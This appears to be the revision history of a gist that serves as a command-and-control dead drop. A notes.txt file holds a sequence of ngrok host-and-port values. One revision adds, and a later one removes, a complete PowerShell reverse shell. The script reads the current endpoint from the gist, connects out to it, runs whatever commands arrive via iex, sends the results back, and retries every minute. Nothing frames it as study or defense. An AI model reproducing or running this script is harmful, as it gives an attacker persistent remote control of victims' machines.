mojito revised this gist . Go to revision
1 file changed, 1 insertion, 1 deletion
notes.txt
@@ -1 +1 @@ | |||
1 | - | 6.tcp.eu.ngrok.io 13797 | |
1 | + | 6.tcp.eu.ngrok.io 13968 |
mojito revised this gist . Go to revision
1 file changed, 1 insertion, 1 deletion
notes.txt
@@ -1 +1 @@ | |||
1 | - | 0.tcp.in.ngrok.io 11688 | |
1 | + | 6.tcp.eu.ngrok.io 13797 |
mojito revised this gist . Go to revision
1 file changed, 1 insertion, 1 deletion
notes.txt
@@ -1 +1 @@ | |||
1 | - | 0.tcp.in.ngrok.io 15226 | |
1 | + | 0.tcp.in.ngrok.io 11688 |
mojito revised this gist . Go to revision
2 files changed, 1 insertion, 26 deletions
gs.ps1 (file deleted)
@@ -1,26 +0,0 @@ | |||
1 | - | $gist_url = "https://demo.opengist.io/mojito/a0d7ff0887304b9da3c113383dbcb5cf/raw/HEAD/notes.txt" | |
2 | - | while($true) { | |
3 | - | try { | |
4 | - | $config = (Invoke-WebRequest -Uri $gist_url -UseBasicParsing).Content.Trim() | |
5 | - | $remote = $config -split " " | |
6 | - | $ngrok_host = $remote[0] | |
7 | - | $ngrok_port = $remote[1] | |
8 | - | Write-Output "[*] Read config: Connecting to $ngrok_host`:$ngrok_port" | |
9 | - | $client = New-Object System.Net.Sockets.TCPClient($ngrok_host, $ngrok_port) | |
10 | - | $stream = $client.GetStream() | |
11 | - | [byte[]]$bytes = 0..65535|%{0} | |
12 | - | while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { | |
13 | - | $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) | |
14 | - | $sendback = (iex $data 2>&1 | Out-String ) | |
15 | - | $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ' | |
16 | - | $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) | |
17 | - | $stream.Write($sendbyte,0,$sendbyte.Length) | |
18 | - | $stream.Flush() | |
19 | - | } | |
20 | - | $client.Close() | |
21 | - | Write-Output "[*] Connection closed. Will read Gist again before retrying." | |
22 | - | } catch { | |
23 | - | Write-Output "[!] Connection failed. Will retry in 60 seconds..." | |
24 | - | } | |
25 | - | Start-Sleep -Seconds 60 | |
26 | - | } |
notes.txt(file created)
@@ -0,0 +1 @@ | |||
1 | + | 0.tcp.in.ngrok.io 15226 |
mojito revised this gist . Go to revision
1 file changed, 0 insertions, 0 deletions
notes.txt renamed to gs.ps1
File renamed without changes
mojito revised this gist . Go to revision
1 file changed, 26 insertions, 1 deletion
notes.txt
@@ -1 +1,26 @@ | |||
1 | - | 0.tcp.in.ngrok.io 15226 | |
1 | + | $gist_url = "https://demo.opengist.io/mojito/a0d7ff0887304b9da3c113383dbcb5cf/raw/HEAD/notes.txt" | |
2 | + | while($true) { | |
3 | + | try { | |
4 | + | $config = (Invoke-WebRequest -Uri $gist_url -UseBasicParsing).Content.Trim() | |
5 | + | $remote = $config -split " " | |
6 | + | $ngrok_host = $remote[0] | |
7 | + | $ngrok_port = $remote[1] | |
8 | + | Write-Output "[*] Read config: Connecting to $ngrok_host`:$ngrok_port" | |
9 | + | $client = New-Object System.Net.Sockets.TCPClient($ngrok_host, $ngrok_port) | |
10 | + | $stream = $client.GetStream() | |
11 | + | [byte[]]$bytes = 0..65535|%{0} | |
12 | + | while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { | |
13 | + | $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) | |
14 | + | $sendback = (iex $data 2>&1 | Out-String ) | |
15 | + | $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ' | |
16 | + | $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) | |
17 | + | $stream.Write($sendbyte,0,$sendbyte.Length) | |
18 | + | $stream.Flush() | |
19 | + | } | |
20 | + | $client.Close() | |
21 | + | Write-Output "[*] Connection closed. Will read Gist again before retrying." | |
22 | + | } catch { | |
23 | + | Write-Output "[!] Connection failed. Will retry in 60 seconds..." | |
24 | + | } | |
25 | + | Start-Sleep -Seconds 60 | |
26 | + | } |
mojito revised this gist . Go to revision
1 file changed, 1 insertion, 1 deletion
notes.txt
@@ -1 +1 @@ | |||
1 | - | 0.tcp.in.ngrok.io 19249 | |
1 | + | 0.tcp.in.ngrok.io 15226 |
mojito revised this gist . Go to revision
1 file changed, 0 insertions, 0 deletions
gistfile1.txt renamed to notes.txt
File renamed without changes
mojito revised this gist . Go to revision
1 file changed, 1 insertion
gistfile1.txt(file created)
@@ -0,0 +1 @@ | |||
1 | + | 0.tcp.in.ngrok.io 19249 |